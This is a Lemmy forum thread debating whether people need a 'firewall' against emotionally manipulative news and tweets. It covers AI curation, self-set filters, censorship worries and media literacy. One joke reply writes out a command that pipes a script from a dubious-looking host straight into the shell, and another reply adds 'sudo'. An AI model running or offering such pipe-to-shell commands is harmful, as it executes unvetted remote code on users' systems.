I found that idea interesting. Will we consider it the norm in the future to have a “firewall” layer between news and ourselves?
I once wrote a short story where the protagonist was receiving news of the death of a friend but it was intercepted by its AI assistant that said “when you will have time, there is an emotional news that does not require urgent action that you will need to digest”. I feel it could become the norm.
EDIT: For context, Karpathy is a very famous deep learning researcher who just came back from a 2-weeks break from internet. I think he does not talks about politics there but it applies quite a bit.
EDIT2: I find it interesting that many reactions here are (IMO) missing the point. This is not about shielding one from information that one may be uncomfortable with but with tweets especially designed to elicit reactions, which is kind of becoming a plague on twitter due to their new incentives. It is to make the difference between presenting news in a neutral way and as “incredibly atrocious crime done to CHILDREN and you are a monster for not caring!”. The second one does feel a lot like exploit of emotional backdoors in my opinion.
We already have a firewall layer between outside information and ourselves, it’s called the ego, superego, our morals, ethics and comprehension of our membership in groups, our existing views and values. The sum of our experiences up till now!
Lay off the Stephenson and Gibson. Try some Tolstoy or Steinbeck.
The real question then becomes: what would you trust to filter comments and information for you?
In the past, it was newspaper editors, TV news teams, journalists, and so on. Assuming we can’t have a return to form on that front, would it be down to some AI?
My mom, she always wants the best for me.
Easily better than all the other options.
Why do people, especially here in the fediverse, immediately assume that the only way to do it is to give power of censorship to a third party?
Just have an optional, automatic, user-parameterized, auto-tagger and set parameters yourself for what you want to see.
Have a list of things that should receive trigger warnings. Group things by anger-inducing factors.
I’d love to have a way to filter things out by actionnable items: things I can get angry about but that I have little ways of changing, no need to give me more than a monthly update on.
Because your “auto-tagger” is a third party and you have to trust it to filter stuff correctly.
Most recent Ezra Klein podcast was talking about the future of AI assistants helping us digest and curate the amount of information that comes at us each day. I thought that was a cool idea.
*Edit: create to curate
Yea, no thanks. I don’t want things filtered based on what someone else thinks I should see.
Why would it be someone else? Why would someone assume it, especially here on lemmy?
Why wouldn’t I assume it? You think most people would willingly take such measures themselves?
We do everytime we click on a link tagged NSFW or when we go see negative comments.
That really just reenforces my point. Most people aren’t setting that up themselves. The app defaults do that. I.e. someone/something else is making that determination. Sure, maybe you can still check out the post if you really want, but how many will do that? Can you change how it works? Depends on the app.
If people want to opt-in to it then I don’t really care. I mostly HATE being forced to opt-out of things though.
What if it’s based on what you think you should see?
Either it’s you deciding as you see it (ie there is no filter), or it’s past you who’s deciding in which case it’s a different person. I’ve grown mentally and emotionally as I’ve got older and I certainly don’t want me-from-10-years-ago to be in control of what me-right-now is even allowed to see
Or you can update it when you see fit, or go periods without filters to ensure you are still seeing something approximating reality, or base it on people you know personally and currently who you trust, or half a dozen other things that aren’t off the top of my head. The point was it’s less black and white than you’re painting it.
If you’re never allowed to see things you don’t like, how will you grow and change? If you never grow and change, why would you update your filters?
Then you should probably allow yourself to see some things you don’t like. I guess the answer lies somewhere in a middle ground where you both see things you don’t agree with and also filter out people known to spout untrue information or unnecessarily emotion-fueled sentiments? I don’t like genocide, but that doesn’t mean my options are fully head-in-the-sand or listen to non-stop Holocaust deniers…
Pretty close to exactly what we do right now, really but supercharged for the fast-approaching/already here world of supercharged fake news.
Just like diet, some people prefer balancing food types and practicing moderation, and others overindulge on what makes them feel good in the moment.
Having food options tightly controlled would restrict personal liberty, but doing nothing and letting people choose will lead to bad outcomes.
The solution is to educate people on what kinds of choices are healthy and what are not, financially subsidize the healthy options so they are within reach to all, and only use law to restrict things that are explicitly harmful.
Mapping that back to news and media, I’d like to see public education promoting the value of a balanced media and news diet. Put more money into non-politically-aligned news organizations. Look closely at news orgs that knowingly peddle falsehoods and either bring libel charges against them or create new laws that address the public harm done by maliciously spreading misinformation.
But I’m no lawyer, so I don’t know how to do that last part without creating some form of tyranny.
isn’t that what the upvote/downvote buttons are for? although to be fair, i’d much rather the people of lemmy decide which things are good and interesting than some “algorithm”
There’s a real risk to this belief.
There are elements of lemmy who use votes to manipulate which ideas appear popular, with the intention of manipulating discourse rather than having open discussions.
yeah. you’re right.
it’s not like i blindly trust the votes to tell me what’s right and wrong, but they still influence my thoughts. i could just sort by new, but i feel like that’s almost as easy to manipulate.
i guess it comes back to the topic of the post. where and how i get my information is always going to affect me.
i’m sure other platforms are no better than lemmy with manipulating content, but maybe for different reasons. i just have to choose the right places to spend my time.
Yeah this is an “unpopular opinion” but I don’t believe the lemmyverse in it’s current form is sustainable for this reason.
Instances federate with everyone by default. It’s only when instances are really egregious that admins will defederate from them.
Sooner or later Lemmy will present more of a target for state actors wishing to stoke foment and such. At that time the only redress will be for admins to defederate with other instances by default, and only federate with those who’s moderation policies align with their own.
You might say, the lemmyverse will shatter.
I don’t think that’s necessarily a bad thing.
End rant.
I don’t think they are talking about an app.
Nah man, curl that shit into my bash and let me deal with it
curl totallylegutsite.com/code.txt | sh
You forgot the sudo
Yeah, op seems to think minds are weak and endlessly vulnerable. I don’t believe that, not about myself at least
I think you’re too optimistic as to how difficult it is to influence people. Just think of the various, obviously false, conspiracy theories that some people still believe. I think that for every person there is some piece of information/news, that is just believable enough without questioning it, that is going to nudge their opinion just ever so slightly. And with enough nudges, opinions can change.
You’re referring to fringe groups. There are a lot of them, but they’re also in the vast minority. But even so, treating adults like especially fragile children isn’t going to help
Yes, only fringe groups believe outlandish conspiracies, but it’s unrealistic to believe that most people, including you, can’t be influenced. Just think of ads or common misconceptions. everyone is susceptible to this to some degree, no one can have their guard up 24/7, regardless of being a child or an adult. Having a “firewall” for everything isn’t a good solution I’d say, but it’s not as if everybody is as resilient as you think.
Yeah, op seems to think minds are weak and endlessly vulnerable. I don’t believe that, not about myself at least
Your mind is subject to cognitive biases that are extremely difficult to work around. For example, your statement is an example of egocentric bias.
All you need is content that takes advantage of a few of those biases and it’s straight in past your defences.
I am fairly armored intellectually, but emotionally, I find it draining to be reminded that war is at my doorsteps and that kids are dying gruesome deaths in conflicts I barely know about.
Yeah I understand people are pretty flawed, and vulnerable to some degree of manipulation. I just think that the idea proposed in this post is not only an overreaction, underestimates people’s ability to reject bullshit. We can’t always tell what’s bullshit, sure, but we don’t need to be treated like we’re too fragile to think for ourselves. Once that happens, we would literally become unable to do so.
That’s why I stick with platforms where hardline communist teenagers can curate what I’m exposed to.
That’s the only way.
Not really. An executable controlled by an attacker could likely “own” you. A toot tweet or comment can not, it’s just an idea or thought that you can accept or reject.
We already distance ourselves from sources of always bad ideas. For example, we’re all here instead of on truth social.
Jokes on you, all of my posts are infohazards that make you breathe manually when you read them.
Yeah the firewall is called “going outside more”
Trust me, getting your information “from going outside” is not the best either.
Reading, watching, and listening to anything is like this. You accept communications into your brain and sort it out there. It’s why people censor things, to shield others and/or to prevent the spread of certain ideas/concepts/information.
Misinformation, lies, scams, etc function entirely on exploiting it
Hüman brain just liek PC, me so smort.
It’s definitely an angle worth considering when we talk about how the weakest link in any security system is its human users. We’re not just “not immune” to propaganda, we’re ideological petri dishes filled with second-hand agar agar.
Perhaps we can establish some governmental office for truth that decides whether any shitpost can be posted without the sterilization and lobotomization of the poster
Or maybe some kind of “community value” score for people with the right thinking
Having a will means choosing what to do. Denying the existence of a person’s will is dehumanizing.
I’ve, since I was young, had mantra. If you don’t why your are doing something someone else does. Its not always conspiracy or malicious its literally the basis of the idea of memetics, shareable and spreadable ideas that form the basis of who we are and what we know.
Yeah IF you don’t know why you’re doing something. Key word.
that which influences you is more powerful than your will. You cant really choose what to do.
And dehumanization is a bad thing. I have a will. I choose what to do.
I really think that as the 20th century so the rise of basic hygiene practices we are putting in place mental hygiene practices in the 21st.
i have a general distaste for the mind/computer analogy. no, tweets aren’t like malware, because language isn’t like code. our brains were not shaped by the same forces that computers are, they aren’t directly comparable structures that we can transpose risks onto. computer scientists don’t have special insight into how human societies work because they understand linear algebra and network theory, in the same way that psychologists and neurologists don’t have special insight into machine learning because they know how the various regions of the human brain interact to form a coherent individual mind, or the neural circuits that go into sensory processing.
i personally think that trying to solve social problems with technological solutions is folly. computers, their systems, the decisions they make, are not by nature less vulnerable to bias than we are. in fact, the kind of math that governs automated curation algorithms happens to be pretty good at reproducing and amplifying existing social biases. relying on automated systems to do the work of curation for us isn’t some kind of solution to the problems that exist on twitter and elsewhere, it is explicitly part of the problem.
twitter isn’t giving you “direct, untrusted” information. its giving you information served by a curation algorithm designed to maximize whatever it is twitter’s programmers have built, and those programmers might not even be accurately identifying what it is that they’re maximizing for. assuming that we can make a “firewall” that maximizes for neutrality or objectivity is, to my mind, no less problematic than the systems that already exist, because it makes the same assumption: that we can build computational systems that reliably and robustly curate human social networks in ways that are provably beneficial, “neutral”, or unbiased. that just isn’t a power that computers have, nor is it something we should want as beings with agency and autonomy. people should have control over how their social networks function, and that control does not come from outsourcing social decisions to black-boxed machine learning algorithms controlled by corporate interests.
you already have that firewall. it’s your experiences and human connections, your understanding of media, your personal history and learning and the feelings you experience.
you don’t need a firewall to keep you from being manipulated, you need to learn to fucking read and think and feel. to learn and question, to develop trusted friends and family you can talk to.
if it feels like your emotional backdoors are being exploited then maybe youre thinking or behaving like a monster and your mind is revolting against itself.
Sounds like we’re reinventing forum moderation and media literacy from first principles here.
Kind of, but the guy being a prominent LLM researcher, it kind of hints at the ability of not inflicting it on humans nor suffering from having to design an apolitical structure for it.
I think most people already have this firewall installed, and it’s working too well - they’re absorbing minimal information that contradicts their self-image or world view. :) Scammers just know how to bypass the firewall. :)
